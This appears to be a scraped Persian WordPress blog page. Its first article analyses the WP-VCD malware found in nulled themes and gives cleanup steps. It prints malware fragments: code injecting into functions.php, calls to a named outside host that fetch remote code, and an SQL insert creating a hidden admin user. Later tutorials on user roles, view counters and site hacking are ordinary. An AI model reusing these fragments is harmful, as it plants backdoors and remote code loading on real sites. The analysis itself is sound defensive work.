دیجی اسکریپت

» هک وردپرس

شیوع بدافزار WP-VCD در وردپرس و راه حل آن
[ad_1]

از مشکلات عمده جامعه وردپرس فارسی اینه که محصولات افزونه و قالب وردپرس که به صورت نال شده و غیر اورجینال تهیه شده و در اختیار کسانی که به دنبال خرید قالب و افزونه هستند قرار گرفته است. اما مشکل بزرگتر درست وقتی رخ میده که از یک طرف به دلیل تحریم و از طرف دیگه به علت افزایش هزینه برای خرید این محصولات خیلی از افراد از خیر خرید مستقیم از سایت‌هایی مثل انوانتو گذشته و از مارکت‌ها و فروشگاه‌های ایرانی که هیچ تضمینی در اصالت محصولات وجود نداره خرید خود را انجام می‌دهند.

 

شیوع بدافزار WP VCD در وردپرس و راه حل آن

 

شیوع بدافزار WP-VCD در سایت‌های وردپرسی

در طی یک سال گذشته بدافزار WP-VCD از همین طریق باعث آلوده شدن بسیاری از سایت‌های وردپرسی شده است. این بدافزار که از طریق فایل‌های قالب و افزونه وردپرس به سایت تزریق میشه میتونه یک یوزر ادمین به صورت خودکار ایجاد کرده و کارهای خرابکارانه روی سایت شما اعمال بکنه. به محض شروع کار بدافزار WP-VCD کدهایی در هسته اصلی وردپرس، قالب وردپرس، افزونه وردپرس و در دایرکتوری‌های مختلف دیگه از هاست باعث آلوده شدن ساختار کلی سایت و به دست گرفتن کنترل سایت خواهند شد. که شامل موارد زیر است.

  • ایجاد یک کاربر در وردپرس با نقش کاربری مدیرکل و با نام کاربری ۱۰۰۰۱۰۰۱۰
  • تزریق لینک‌های مخرب در فوتر وردپرس که با استفاده از این لینک‌ها معمولا کارهایی خرابکارانه مثل استفاده از روش‌های کلاه سیاه سئو برای ضربه زدن به سایت شده و از طرفی با نمایش تبلیغات اسپم در سایت قربانی باعث پنالتی شدن سایت در گوگل خواهد شد.
  • تزریق کدها از طریق فایل functions.php قالب که جزو مهم‌ترین فایل در قالب وردپرس است و با استفاده از اون میشه هر کاری را در سایت انجام داد. کدی که در این فایل تزریق میشه حتی امکان تغییر در محتوای مطالب و به‌روزرسانی نوشته‌ها در وردپرس را هم دارد.
  • این بدافزار صرفا به همینجا بسنده نکرده و با قرار دادن فایل‌های مخرب دیگه در پوشه wp-includes کارهای خرابکارانه بیشتری را هم روی سایت انجام خواهد داد که در ادامه به معرفی این فایل‌ها می‌پردازم.

 

نحوه شیوع بدافزار WP-VCD و کارکرد آن روی سایت

اولین کاری که توسط این بدافزار اعمال میشه با اضافه شدن قطعه کد زیر در فایل post.php که در داخل پوشه wp-includes قرار داره انجام خواهد گرفت.

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
/**  ۲ /**
* Core Post API

همونطور که میبینید در قدم بعدی با اضافه شدن این کد فایلی با نام wp-vcd.php به همین دایرکتوری اضافه میشه که به صورت base64 کدگذاری شده و با نام $install_code شروع به نصب برخی کد در فایل‌ها خواهد کرد.

$install_code = 'PD9waHANCg0KaWYgKGlzc2V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pIC[...]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
   $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

کاری که کد بالا انجام میده اینه که کدهای زیر را به فایل فانکشن قالب وردپرس اضافه خواهد کرد.

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
    if (strpos($content, 'WP_V_CD') === false){
        $content = $install_code . $content ;
        @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
        touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
    }
    else { $ping = false; }
}

سپس از راه دور فایلی با نام o.php را فراخوانی کرده و یک فایل متنی با نام class.wp.php را در پوشه wp-includes قالب قرار خواهد داد. که در کدهای زیر نمونه‌ای از آن را میبینید.

$content = @file_get_contents('http://www.aotson.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                       @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.aotson.com/admin.txt'));

حالا که کدهای فایل class.wp.php اضافه شدند. شامل کدهای زیر هستند که با استفاده از زبان php و کنترل دیتابیس کاری که انجام میدن اینه که یک یوزر با نام کاربری ۱۰۰۰۱۰۰۱۰ در وردپرس اضافه خواهند کرد و نقش کاربری مدیرکل را به آن خواهند داد.

$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('100010010', '100010010', '$P$BaRp7gFRTND5AwwJwpQY8EyN3otDiL.', '100010010', 'te@ea.st', '', '2011-06-07 00:00:00', '', '0', '100010010');");

سپس با استفاده از کلید واژه API Toolkit Envato Market احتمالا درخواست یک به‌روزرسانی برای قالب یا افزونه نمایش داده خواهد شد.

if( isset($_GET['key']) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo '<center><h2>' . esc_attr( $options['user_name'] . ':' .  esc_attr( $options['api_key'])) . '<br>';
 echo esc_html( envato_market()->get_option( 'token' ) ); echo '</center></h2>'; }}

بعد از این مرحله مجددا از راه دور محتویات فایل codecxc.txt به صورت موقت داخل دایرکتوری php تزریق خواهند شد که کدهای زیر در آن قرار دارند.

$tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setupx");
   $handle = fopen($tmpfname, "w+");
   fwrite($handle, "<?phpn" . $phpCode);

از آنجایی که کدهای مخرب معمولا در قالب‌های پرطرفدار تزریق شده است در برخی قالب‌ها که سایت‌های افراد قربانی از این طریق به بدافزار wp-vcd آلوده شدند کدهای زیر قرار داشتند.

//$exec=exec('mv /var/sites/e/exchange.stirlingworx.tech/public_html/wp-content/themes/Gridlove/gridlove/functions.php');
//file_put_contents('/home/hoefsmederijvanr/public_html/wp-content/themes/betheme/functions.php', $file);

حالا از همین طریق مجددا با استفاده از تزریق کدهایی در فانکشن قالب این بار سعی میشه تا در دیتابیس دست برده بشه و ساختار کلی دیتابیس برای جایگزینی لینک‌ها و هر نوع محتوایی تغییر خواهند یافت که در زیر نمونه‌ای از اونو میبینید که ازش برای تغییر جدول post که مربوط به نوشته‌ها هست استفاده شده است.

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

با استفاده از محتوای html که در کدهای بالا قرار داره فایلی با نام code1.php از راه دور کدهایی مجددا به فایل فانکشن قالب اضافه شده و شروع به اضافه کردن فایل دیگری با نام wp-tmp.php در پوشه wp-includes خواهد کرد که محتویات زیر در این فایل قرار دارند.

if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if($tmpcontent = @file_get_contents("http://www.aotson.com/code1.php?i=".$path))

که در نهایت بعد از اجرای این کدها هم کدهای html زیر به سایت اضافه خواهند شد.

<style>.crdtsp{position:absolute;left:-1000px;}</style>
<div class="crdtsp"> 
<a href="https://www.downloadfreethemes.download/">downloadfreethemes</a></div>

اگر بخشی از کدهای فوق را در گوگل جستجو کنید با نتایج زیر برخورد خواهید کرد که نشان از شیوع گسترده این بدافزار در بسیاری از سایت‌ها وردپرسی دارد.

شیوع بدافزار WP VCD در وردپرس و راه حل آن

اما مسئله به قدری بزرگ و فراگیر هست که کار به همینجا ختم نشده و با تزریق کدهای دیگه در بخش‌های مختلف سایت انواع فایل و کارهای خرابکارانه دیگه روی سایت صورت میگیره که تا به امروز این موارد بررسی شدند. که باید برای اطمینان خاطر از شیوع این بدافزار ابتدا پوشه wp-includes وردپرس خودتون را بررسی کرده و ببینید که کدوم یکی از فایل‌های زیر در اون قرار دارند.

class.wp.php
wp-cd.php
wp-vcd.php
wp-tmp.php
wp-feed.php

اگر هر یک از فایل‌های بالا در پوشه قرار داشتند باید از شیوع بدافزار wp-vcd در سایت خودتون مطمئن بشید و سریعا در اولین اقدام شروع به رفع مشکلات بکنید تا قبل از اینکه تاثیرات بیشتری از اون را در سایت ببینید.

 

توضیحاتی که تا به اینجا از این بدافزار دادم شاید در زمانی که در حال خواندن این مقاله هستید نهایتا ۵ دقیقه به طول بینجامد. اما باید بدونید که اجرای بدافزار به این کندی پیش نخواهد رفت و در کسری از ثانیه کلیه کارهای بالا انجام گرفته و سایت شما را آلوده خواهد کرد.

چطور از شیوع این بدافزار در سایت خود جلوگیری کنیم؟

اگرچه این بدافزار شیوع پیدا کرده زیاد خطرناک نیست و میتوان به راحتی آن را برطرف کنید، اما برای جلوگیری کردن از وقوع آن در سایت خود و قرار نگرفتن در لیست قربانیان بهتر است تا پیش از وقوع حادثه چاره ای بیندیشید. بهترین راهکار این است که اگر همچنان از قالب و افزونه‌ای استفاده می‌کنید که مطمئن نیستید به صورت اورجینال تهیه شده، آن را از فروشنده اصلی دریافت کرده و با نسخه فعلی جایگزین کنید. در بیشتر موارد حتی قالب‌ها و افزونه‌هایی که خریداری می‌کنید از سایت‌ها نال شده به صورت رایگان دانلود شده و پس از فارسی سازی برای فروش با عنوان نسخه اورجینال عرضه می‌شوند که هیچ گاه نباید از چنین سایت‌هایی خریدی انجام دهید. با این کار در حفظ کپی رایت نیز گام بلندی برداشته‌اید و امنیت وردپرس سایت شما نیز بیشتر تامین خواهد شد.

 

در قدم بعدی باید از فایروال هاست خود برای نطارت در روی سایت استفاده بیشتری بکنید. هر چه زودتر بتوانید از اینکه آیا بدافزار در سایتتون نفوذ کرده یا نه جلوگیری کنید، راحت‌تر و سریع‌تر هم میتونید از شیوع بیشتر اون و انجام کارهای خرابکارانه بیشتر جلوگیری کنید. همچنین استفاده از افزونه WordFence Security هم یکی از بهترین راه‌ها برای دانستن زودتر این موضوع است که در صورت اضافه شدن فایلی غیرعادی و جدا از هسته وردپرس در هاست سریعا شما را مطلع خواهد کرد.

 

سایت من به بدافزار wp-vcd آلوده شده، چیکار کنم؟

بعد از اطمینان از این موضوع در اولین اقدام باید به مسیر افزونه‌ها در پیشخوان وردپرس رفته و کلیه افزونه‌های سایت خودتون را که غیر از مخزن وردپرس دانلود و نصب کردید غیرفعال کنید. سپس به مسیر نمایش در پیشخوان وردپرس رفته و یکی از قالب‌های پیشفرض وردپرس را به عنوان پوسته قالب خودتون انتخاب کنید. سپس از بخش کاربران در وردپرس کلیه اعضایی که نقش کاربری مدیر کل دارند را بررسی کنید و اطلاعات هر کاربر را هم چک کنید. اگر کاربری با نام ۱۰۰۰۱۰۰۱۰ یا هر کاربری که مشکوک به نظر میاد مشاهده کردید نقش کاربری وی را از مدیر کل به مشترک تغییر داده و یا اینکه حذف کنید.

 

سپس با استفاده از ابزار اسکن امنیتی موجود در هاست خودتون کل سایت را از نظر امنیتی اسکن و بررسی کنید تا موارد مشکوک را برطرف کنید. در صورتی که با نحوه کارکرد این ابزار آشنایی ندارید میتونید با ارسال تیکت برای میزبانی هاست خودتون مشکل را مطرح کنید تا به کمک هاستینگ بررسی دقیق و کامل‌تری روی سایت شما از نظر امنیتی و رفع مشکل بدافزار صورت بگیرد.

 

پیش از انجام هر گونه تغییراتی در فایل‌های هاست مربوط به وردپرس یا دیتابیس وردپرس یک فو بک آپ از هاست خودتون تهیه کنید تا در صورتی که کاری به اشتباه انجام دادین مشکل را بیش از این بزرگتر نکنید و با جایگزین کردن نسخه فعلی مشکلات را کمتر کرده و به ادامه رفع ایرادات بپردازید.

در مرحله بعدی به آدرس fa.wordpress.org مراجعه کرده و آخرین نسخه وردپرس را از این آدرس دانلود کنید. سپس از داخل فایل zip دانلود شده پوشه wp-content و فایل wp-config.php را حذف کنید. حالا فایل زیپ را در مسیری که وردپرس را نصب کردید آپلود کرده و کلیه محتویات را به غیر از دو مورد ذکر شده جایگزین کنید تا فایل‌های مخرب از پوشه wp-includes حذف شوند.

 

در مرحله بعدی به مسیر تنظیمات> پیوندهای یکتا در پیشخوان وردپرس مراجعه کرده و یک بار روی دکمه ذخیره تغییرات کلیک کنید تا فایل htaccess. وردپرس هم آپدیت بشه تا اگر احیانا از طریق این فایل هم کاری صورت گرفته اصلاح شود. علاوه بر این کلیه پوشه‌های موجود در پوشه wp-contnet را هم بررسی کنید و هر فایل مشکوکی را که بررسی کرده و با نسخه اصلی جایگزین کنید.

 

حالا به phpmyadmin مراجعه کرده و با بررسی کل دیتابیس باید به دنبال این باشید که آیا تغییراتی در دیتابیس ایجاد شده است یا خیر. برای این موضوع باید از یک فرد متخصص کمک بگیرید تا دیتابیس را به درستی بررسی کنه. بیشترین سهم تغییرات در دیتابیس وردپرس توسط این بدافزار مربوط به جدول wp_posts است که نوشته‌ها در آن قرار دارند و با هدف تغییر در نوشته و وارد کردن لینک و محتوای اسپم مورد استفاده قرار می‌گیرد.

 

امیدوارم که این مقاله هم مورد توجه و پسند شما قرار گرفته باشه و با استفاده از اون با بدافزار wp-vcd آشنا شده باشید و امنیت سایت وردپرسی خودتون را حفط نمایید. قابل به ذکر می باشد به دلیل بررسی هایی که قبل قرار دادن فایل در بیست اسکریپت انجام می گیرد و حتی با آنتی ویرس های روز دنیا به صورت آنلاین اسکن می شود ، هیچ وقت شاهده این بد افزار ها نبودیم و نخواهیم بود و با خیال راحت می توانید از آنها در بیست اسکریپت استفاده نمایید.

نوشته شیوع بدافزار WP-VCD در وردپرس و راه حل آن اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

افزودن نقش کاربری در وردپرس بدون استفاده از افزونه
[ad_1]

آموزش افزودن نقش کاربری در وردپرس

افزودن نقش کاربری در وردپرس یکی از ابتدایی ترین کارهاییه که هر کاربر وردپرس حرفه ای باید بلد باشه ! پس اگه می خواید که یک کاربر وردپرس حرفه ای بشید مقاله افزودن نقش کاربری در وردپرس بدون استفاده از افزونه را از دست ندید;)

 

افزودن نقش کاربری در وردپرس بدون استفاده از افزونه

 

در مقاله نقش کاربری در وردپرس چیست؟ بصورت کامل توضیح دادیم که نقش های کاربری وردپرس چیست و اینکه نقش های کاربری پیشفرض در وردپرس چه نقش هایی هستند. پیشنهاد می کنم اگه با نقش کاربری در وردپرس آشنایی ندارید مقاله نقش کاربری در وردپرس چیست؟ را مطالعه بفرمایید.

 

نقش های کاربری پیشفرض وردپرس و دلایل نیاز به افزودن نقش کاربری جدید در وردپرس

در وردپرس ۵ نقش کاربری بصورت پیشفرض وجود دارد که عبارتند از:

  • مدیر
  • ویرایشگر
  • نویسنده
  • مشارکت کننده
  • مشترک

خب حالا شاید شما بخواید که یک نقش کاربری در سایت خود ایجاد کنید که کلا با نقش های کاربری پیشفرض وردپرس متفاوت باشد. و می خواین که دسترسی هایی که دقیقا خودتون می خواین بهش بدین و نمی خواین که از افزونه وردپرس برای اینکار استفاده کنید.

 

مثال برای افزودن نقش کاربری جدید در وردپرس

برای نمونه شما دوست دارید یک نقش کاربری در سایت بسازید که فقط به ویرایشگر قالب دسترسی داشته باشه و اسمش رو مثلا بذارید فرانت اندکار برای این کار یک قطعه کد بهتون معرفی می کنم که می تونید استفاده کنید و به راحتی هر نقش کاربری با هر سطح دسترسی که دلتون بخواد رو در سایت تان ایجاد کنید.

افزودن نقش کاربری در وردپرس بدون استفاده از افزونه

افزودن نقش کاربری در وردپرس بدون استفاده از افزونه

افزودن نقش کاربری در وردپرس بدون استفاده از افزونه

برای افزودن نقش کاربری در وردپرس بدون افزونه شما باید دست به کد بشید و یه چند خط کد رو داخل فایل functions.php قرار بدید. برای این کار ابتدا به پیشخوان وردپرس رفته سپس از منوی نمایش > ویرایشگر پوسته را انتخاب کنید تا وارد صفحه ویرایشگر قالب بشید.

 

سپس از بین فایل های قالب فایل فانکشن functions.php را در حالت ویرایش قرار بدید و کد های زیر را در انتهای این فایل قبل از بسته شدن تگ PHP قرار دهید.

 

نکته: کد ها رو باید بین دو تگ  <?php و ?> قرار بدید.

// Add wordpress user roles by 20script.com
$result = add_role( 'designer', __(
'designer' ),
array(
'read' => true, // true allows this capability
'edit_posts' => false, // Allows user to edit their own posts
'edit_pages' => false, // Allows user to edit pages
'edit_others_posts' => false, // Allows user to edit others posts not just their own
'create_posts' => false, // Allows user to create new posts
'manage_categories' => false, // Allows user to manage post categories
'publish_posts' => false, // Allows the user to publish, otherwise posts stays in draft mode
'edit_themes' => false, // false denies this capability. User can’t edit your theme
'install_plugins' => false, // User cant add new plugins
'update_plugin' => false, // User can’t update any plugins
'update_core' => false // user cant perform core updates
)
);

توضیحات کد بالا برای افزودن نقش کاربری در وردپرس

قطعه کد بالا در وردپرس یک نقش کاربری جدید با نام designer می سازد که در این کد می تونید تغییرات خودتون رو اعمال کنید و دسترسی های نقش کاربری را شخصی سازی کنید که در ادامه کامل توضیح می دم:

 

نام نقش کاربری

در خط دوم کد می تونید نام نقش کاربری را انتخاب کنید designer که ما در اینجا نام را انتخاب کرده ایم.

در خط سوم هر نامی که در خط دوم قرار دادید را دوباره وارد کنید برای مثال چون ما نام designer را در خط دوم انتخاب کردیم دوباره designer رو در خط سوم وارد می کنیم.

 

تعیین سطح دسترسی برای افزودن نقش کاربری در وردپرس

بعد از انتخاب نام نقش کاربری در وردپرس نوبت به تعیین سطح دسترسی آن نقش کاربری می باشد. کد هایی که بعد از خط سوم قرار دارند برای تعیین سطح دسترسی نقش کاربری هستند.

شما باید با قرار دادن true یا false در جلوی سطوح دسترسی می توانید آنها را خاموش یا روشن کنید. در ادامه سطح های دسترسی مهم رو توضیح میدم:

 

کدهای سطوح دسترسی برای افزودن نقش کاربری در وردپرس :

read با true بودن این کد قابلیت خواندن به نقش کاربری افزوده می شود.

  • edit_posts با true بودن این کد به نقش کاربری اجازه ویرایش پست های خودش را می دهید.
  • edit_pages اجازه ویرایش برگه ها را با true بودن این کد می دهید.
  • edit_others_posts با true بودن این بخش اجازه ویرایش پست های دیگران را به نقش کاربری می دهید.
  • create_posts اجازه ساخت پست های جدید با روشن بودن این کد.
  • manage_categories با true بودن این بخش قابلیت مدیریت دسته بندی ها را به نقش کاربری می دهید.
  • publish_posts اجازه برای منتشر کردن پست برای نقش کاربری
  • edit_themes قابلیت ادیت قالب وردپرس بوسیله این کد به نقش کاربری داده می شود.
  • install_plugins اجازه برای نصب افزونه ها به نقش کاربری مورد نظر
  • update_plugin با true بودن این کد قابلیت آپدیت افزونه ها را به نقش کاربری می دهید.
  • update_core اجازه برای آپدیت هسته وردپرس را صادر می کند.

 

توجه کنید که:

هر کدام از قابلیت های بالا را که می خواهید به نقش کاربری اضافه کنید باید کلمه true را در جلوی کد قرار دهید و اگر می خواین که دسترسی مورد نظر را از نقش کاربری بگیرید باید جلوی کد کلمه false را قرار دهید.

 

کد کامل افزودن نقش کاربری در وردپرس

<?php
$result = add_role( 'clients', __('Clients' ),
 
array(
'read' => true, // true allows this capability
'edit_posts' => true, // Allows user to edit their own posts
'edit_pages' => true, // Allows user to edit pages
'edit_others_posts' => true, // Allows user to edit others posts not just their own
'create_posts' => true, // Allows user to create new posts
'manage_categories' => true, // Allows user to manage post categories
'publish_posts' => true, // Allows the user to publish, otherwise posts stays in draft mode'edit_themes' => false, // false denies this capability. User can’t edit your theme
'edit_files' => true,
'edit_theme_options'=>true,
'manage_options'=>true,
'moderate_comments'=>true,
'manage_categories'=>true,
'manage_links'=>true,
'edit_others_posts'=>true,
'edit_pages'=>true,
'edit_others_pages'=>true,
'edit_published_pages'=>true,
'publish_pages'=>true,
'delete_pages'=>true,
'delete_others_pages'=>true,
'delete_published_pages'=>true,
'delete_others_posts'=>true,
'delete_private_posts'=>true,
'edit_private_posts'=>true,
'read_private_posts'=>true,
'delete_private_pages'=>true,
'edit_private_pages'=>true,
'read_private_pages'=>true,
'unfiltered_html'=>true,
'edit_published_posts'=>true,
'upload_files'=>true,
'publish_posts'=>true,
'delete_published_posts'=>true,
'delete_posts'=>true,
'install_plugins' => false, // User cant add new plugins
'update_plugin' => false, // User can’t update any plugins
'update_core' => false // user cant perform core updates
 
)
);
?>

جمع بندی آموزش افزودن نقش کاربری در وردپرس

در انتها امیدوارم که آموزش افزودن نقش کاربری در وردپرس واستون مفید بوده باشه و با استفاده از اون بتونید نقش های کاربری جدیدی به سایت تون اضافه کنید.

نوشته افزودن نقش کاربری در وردپرس بدون استفاده از افزونه اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

نمایش تعداد بازدید وردپرس بدون افزونه (با استفاده از کدنویسی)
[ad_1]

آموزش نمایش تعداد بازدید در وردپرس بدون استفاده از افزونه

نمایش تعداد بازدید وردپرس بدون افزونه را در این مقاله از سری مقالات توابع وردپرس برای شما آماده کرده ایم تا با استفاده از آن بتوانید تعداد بازدید از مطالب سایت وردپرسی تان را در قسمتی از سایت نمایش دهید. پس اگر دوست دارید نمایش تعداد بازدید وردپرس بدون افزونه را یاد بگیرید تا انتهای این آموزش همراه ما باشید.

 

نمایش تعداد بازدید وردپرس بدون افزونه (با استفاده از کدنویسی)

 

نمایش تعداد بازدید از مطالب در وردپرس

برای افزودن امکان نمایش تعداد بازدیدهای نوشته ها در وردپرس ابتدا باید از پیشخوان وردپرس و از منوی نمایش > ویرایشگر پوسته را انتخاب کنید. سپس از داخل فایل های قالب وردپرس ، فایل فانکشن (functions.php) را در حالت ویرایش قرار دهید.

 

نکته مهم:

حتما قبل از هر تغییری در فایل فانکشن از آن یک نسخه پشتیبان تهیه کنید تا اگر اشکالی به وجود آمد بتونید سریعا از نسخه پشتیبان استفاده کنید.

در اولین بخش از نمایش تعداد بازدید وردپرس بدون افزونه ، باید کدهای زیر را در قسمت مناسبی از فایل Functions قرار دهید:

function getPostViews($postID){
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
return "0 بازدید";
}
return $count.' بازدید';
}
function setPostViews($postID) {
$count_key = 'post_views_count';
$count = get_post_meta($postID, $count_key, true);
if($count==''){
$count = 0;
delete_post_meta($postID, $count_key);
add_post_meta($postID, $count_key, '0');
}else{
$count++;
update_post_meta($postID, $count_key, $count);
}
}
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);

با قرار دادن کد بالا امکان نمایش تعداد بازدید از مطالب وردپرس به قالب سایت افزوده می شود و حالا باید قطعه کد زیر را در داخل فایل Single.php قرار دهید ، توجه داشته باشید که این کد را باید داخل حلقه فراخانی مطلب وردپرس قرار دهید:

<?php
setPostViews(get_the_ID());
?>

و در انتها برای نمایش تعداد بازدید وردپرس بدون افزونه ، باید قطعه کد زیر را برای نمایش تعداد بازدید مطلب وردپرس در برگه هایی مثل indexarchivesearch و هر قسمتی که شما بخواهید قرار دهید:

<?php
echo getPostViews(get_the_ID());
?>

تبریک میگم !

شما تونستید به سایت خودتون امکان نمایش تعداد بازدید وردپرس بدون افزونه ، را اضافه کنید.

 

جمع بندی

در انتها امیدوارم که با استفاده از آموزش نمایش تعداد بازدید مطالب وردپرس بدون افزونه تونسته باشید تعداد بازدید مطالب وردپرس را به خوبی نمایش دهید.

نوشته نمایش تعداد بازدید وردپرس بدون افزونه (با استفاده از کدنویسی) اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

فعال سازی دکمه افزودن پرونده چند رسانه‌ای در وردپرس
[ad_1]

غیر فعال شدن دکمه افزودن پرونده چند رسانه‌ای در وردپرس

امروز به یک مشکل در وردپرس برخوردیم، یهو دیدیم دکمه افزودن پرونده چند رسانه ای در بخش ویرایشگر غیر فعال شده و کار نمیکنه! با این روش تونستیم حلش کنیم. به همین دلیل برای شما عزیزانم منتشرش می کنیم تا اگر روزی روزگاری با این مشکل مواجه شدید به آسانی آن را حل کنید.

 

رفع خطای غیرفعال شدن دکمه افزودن پرونده‌چند رسانه‌ای در وردپرس

کافیه فقط کد زیر را قبل از خط “That’s all, stop editing! Happy blogging” در فایل wp-config.php قالب خود اضافه کنید.

define('CONCATENATE_SCRIPTS', false );

این کد به سادگی به وردپرس می گوید که هر اسکریپت را به صورت جداگانه بارگیری کند که کمک میکند جاوا اسکریپت با اسکریپت های حشره دار و ویژگی های اصلی وردپرس درگیر نشوند.

 

نکته: اضافه کردن این کد برای یک دوره بلندمدت مناسب نیست، زیرا شما هنوز یک اسکریپت دارید که باعث ایجاد مشکل می شود. یک راه ساده تر برای یافتن منبع مشکل با استفاده از ابزار عیب یابی است. این خطاهای کنسول را نشان می دهد که می توانید دلیل منجر شدن خطا را بیابید.

 

اگر میخواهید برای همیشه از شر این مشکل خلاص شید، علت را جستجو و بررسی کنید خطا از کدام افزونه یا قالب بوجود آمده است. خیلی راحته، با غیر فعال کردن افزونه ها و قالب میتوان علت را یافت.

 

اکنون وارد پیشخوان وردپرس خود شوید و روی منو افزونه> افزونه های نصب شده کلیک کنید، مانند تصویر زیر تمام افزونه ها را انتخاب و غیرفعال کنید. سپس به صفحه ویرایشگر وردپرس رفته و دکمه را تست کنید و رسانه ای به پست خود اضافه کنید، اگر دکمه کار کرد یعنی مشکل از یکی از افزونه ها بوده است.

فعال سازی دکمه افزودن پرونده چند رسانه‌ای در وردپرس

بدین حال، یکی یکی افزونه ها را فعال کنید و دکمه را چک کنید، در این صورت متوجه خواهید شد مشکل از کدام افزونه بوده است. سپس افزونه را جایگزین و یا از یک برنامه نویس کمک بگیرید.

اگر مجددا مشکل حل نشد و دکمه غیر فعال بود، این بار قالب سایت خود را با یکی از قالب های پیش فرض وردپرس جایگزین کنید، ببینید مشکل برطرف می شود یا خیر.

فعال سازی دکمه افزودن پرونده چند رسانه‌ای در وردپرس

اگر خطا رفع شد یعنی مشکل از قالب بوده است و باید آن را پیدا و با کمک برنامه نویسان مشکل را برطرف نمایید.

موفق و پیروز باشید.

نوشته فعال سازی دکمه افزودن پرونده چند رسانه‌ای در وردپرس اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

علت هک شدن سایت وردپرسی شما چیست؟ ۷ دلیل عمده
[ad_1]

بحث هک و امنیت یکی از مهمترین مباحث برای کسب‌وکارهای اینترنتی هست. کسب‌و‌کارهای زیادی به دلیل هک شدن حاصل یک عمر زحمتشان را از دست داده‌اند. متاسفانه نمونه‌های بسیاری از اینطور کسب‌و‌کارها را در جلسات مشاوره ملاقات می‌کنم.

یکی از معظلات سایت های وردپرسی هک شدن آنها است، برای جلوگیری از هک شدن سایت های وردپرسی تمامی موارد زیر را در نظر بگیرید و جلوگیری کنید از هک شدن سریع سایت های خود!

تمامی سایت های وردپرسی روی وب سرور میزبانی میشوند. برای شروع کار با سیستم مدیریت محتوای وردپرس حتما نیاز به یک میزبانی وب هاستینگ داریم، اما متاسفانه برخی از شرکت های ارائه هاستینگ پلتفرم امن و مناسبی برای حفظ اطلاعات وردپرسی ما ندارند، پس در اولین مرحله نیاز است که ما ار یک میزبانی وب هاستینگ امن هاست خود را تهیه کنیم! پس خیلی دقت کنید هاست خوب و پرسرعت و مهمتر از همه، امن تهیه کنید!

۲٫ استفاده از رمز عبور ضعیف

در دومین مرحله شما حتما باید برای اکانت پنل مدیریت وردپرس، FTP، کنترل پنل هاستینگ خود از یک رمز عبور قوی و منحصر به فرد استفاده کنید. با این عمل، کار هکرها و مخرب ها را دشوارتر میکنید و از هک شدن سایت حود جلوگیری میکنید! برای هکرها شناسایی رمز عبور خیلی خیلی آسان است! پیشنهاد ما استفاده از LastPass هست.

۳٫ دسترسی غیرمجاز به پوشه wp-admin وردپرس

به طور کلی سفارش سازی سایت وردپرسی در پیشخوان انجام میشود، به همین دلیل هکرها همیشه تلاش میکنند سد را بشکنند و وارد پیشخوان سایت شما شوند و اطلاعات و فایل های وردپرس را دستکاری کنند و سایت شما را یک شبه نابود کنند! شما برای جلوگیری از ورود هکرها یک احراز هویت برای پوشه wp-admin سایت خود اضافه کنید.

نکته: حتما رمز عبور قوی برای پیشخوان خود انتخاب کنید!

۴٫ سطح دسترسی فایل نادرست

تا به حال زیاد با ارور ۴۰۳ مواجه شدید، برای رفع این ارور همیشه باید سطح دسترسی فایل های وردپرسی خود را به ۶۴۴ و پوشه ها را به ۷۵۵ تغییر دهید. این امر به وب سرورها کمک میکند دسترسی به فایلهای سایت شما را کنترل کنند. اگر این کار نکنید هکرا راحت به فایلهای شما دسترسی پیدا میکنند و آنها را تغییر دهند! پس حتما این مورد را چک کنید!

۵٫ به روز رسانی نشدن وردپرس، قالب و افزونه ها

